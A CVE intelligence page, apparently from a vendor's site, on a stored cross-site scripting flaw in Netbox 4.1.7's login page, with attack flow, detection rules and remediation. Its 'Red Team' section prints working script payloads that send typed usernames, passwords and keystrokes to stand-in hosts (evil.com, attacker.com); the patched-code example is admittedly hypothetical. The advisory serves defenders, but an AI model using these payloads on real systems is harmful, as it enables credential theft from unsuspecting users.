☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-56918

CVE-2024-56918 Cross-Site Scripting in Netbox
📅 PUBLISHED: 2025-06-24 00:00 UTC 🔄 UPDATED: 2026-09-23 20:39 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.31%
👁️
0.31% probability
7.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-56918 is a stored cross-site scripting (XSS) vulnerability identified in Netbox Community version 4.1.7. The flaw resides in the login page, allowing a privileged, authenticated attacker to inject malicious scripts that exfiltrate user input from the login form. This can lead to credential theft, session hijacking, and further compromise of the Netbox instance. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but the risk is significant due to the potential for credential exfiltration. No patch or official advisory has been released at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (Unassigned)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: High (authenticated attacker)
  • User Interaction: Required (victim must visit the login page)
  • Scope: Changed
  • Confidentiality Impact: High
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: High – Exploitation can lead to credential theft and lateral movement within the network.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the login page of Netbox 4.1.7. An authenticated attacker with sufficient privileges can inject a malicious script into a field that is later rendered on the login page. When an unsuspecting user (including other administrators) visits the login page, the script executes in their browser context. The script can capture keystrokes, form data, or cookies and exfiltrate them to an attacker-controlled server.

The attack flow:

  1. Attacker logs in and navigates to a configuration or customization section (e.g., custom links, reports, or UI text fields).
  2. Attacker injects a payload like <script>fetch('https://evil.com/steal?data='+document.getElementById('id_username').value)</script> into a field that is rendered on the login page.
  3. When another user visits the login page, the script executes and sends the username (or password) to the attacker.

Vulnerable vs. Patched Code

Vulnerable Code (Netbox 4.1.7): The login page template likely renders user-controlled content without proper sanitization. For example:

<div class="login-message">{{ custom_message }}</div>

Where custom_message is stored from a privileged user's input and not escaped.

Patched Code (Hypothetical): The fix would involve escaping output using Django's template engine:

<div class="login-message">{{ custom_message|escape }}</div>

Or using mark_safe only after sanitization with a library like bleach.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Netbox 4.1.7 instance
  • Authenticated session with privileges to modify UI text (e.g., admin)
  • External server to receive exfiltrated data

Exploit Steps:

  1. Log in to Netbox as an admin.
  2. Navigate to Admin > Custom Links or similar.
  3. Create a new custom link with the following payload:
    <script>
    document.getElementById('id_login_form').addEventListener('submit', function(e) {
        var username = document.getElementById('id_username').value;
        var password = document.getElementById('id_password').value;
        fetch('https://attacker.com/steal?u='+encodeURIComponent(username)+'&p='+encodeURIComponent(password));
    });
    </script>
    
  4. Save the custom link.
  5. Wait for a victim to log in. The script will capture credentials and send them to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/key?k='+e.key);
});
</script>

Blue Team

Detection:

  • Monitor for unusual script tags in custom link fields or UI text.
  • Use WAF rules to block <script> tags in POST requests to admin endpoints.
  • Enable Content Security Policy (CSP) headers to restrict script execution.

Hunting:

  • Search logs for requests to unknown external domains from the Netbox server.
  • Review custom link configurations for suspicious content.

Lab Setup:

  1. Deploy Netbox 4.1.7 in a Docker container.
  2. Create a test user with admin privileges.
  3. Inject the XSS payload via the admin panel.
  4. Use a browser with developer tools to observe the script execution.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP/HTTPS requests to unknown domains from the Netbox server.
  • File: Modified custom link or UI text fields containing <script> tags.
  • Log: Entries showing unusual POST requests to /admin/custom-links/ or similar.
  • Browser: Console errors or unexpected network requests when visiting the login page.

Detection Engineering

YARA Rule

rule netbox_xss_cve_2024_56918 {
    meta:
        description = "Detects XSS payloads in Netbox custom link fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-56918"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $exfil_url = /https?:\/\/[^\s'"]+\/steal/i
    condition:
        $xss_payload or $exfil_url
}

Sigma Rule

title: Netbox XSS Payload in Custom Link Fields
id: 8f4b3c2a-1d5e-4f7a-9b0c-3e2d1f4a5b6c
status: experimental
description: Detects XSS payloads in Netbox custom link fields
author: Valters IT
logsource:
    product: netbox
    service: web
detection:
    selection:
        http.method: 'POST'
        http.url: '/admin/custom-links/'
        http.body|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in custom links (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"Netbox XSS Payload in Custom Link"; flow:to_server; content:"POST"; http_method; content:"/admin/custom-links/"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable custom link functionality if not required.
  2. Implement a Web Application Firewall (WAF) rule to block <script> tags in POST requests.
  3. Restrict admin access to trusted IPs only.

Long-term Fix:

  • Upgrade to a patched version once available.
  • Apply input sanitization and output escaping in all user-controlled fields.
  • Use Django's escape filter or bleach library for HTML sanitization.

Workaround:

  • Manually review and remove any suspicious custom links.
  • Enable CSP headers to block inline scripts:
    Content-Security-Policy: default-src 'self'; script-src 'self'
    

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-56918/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.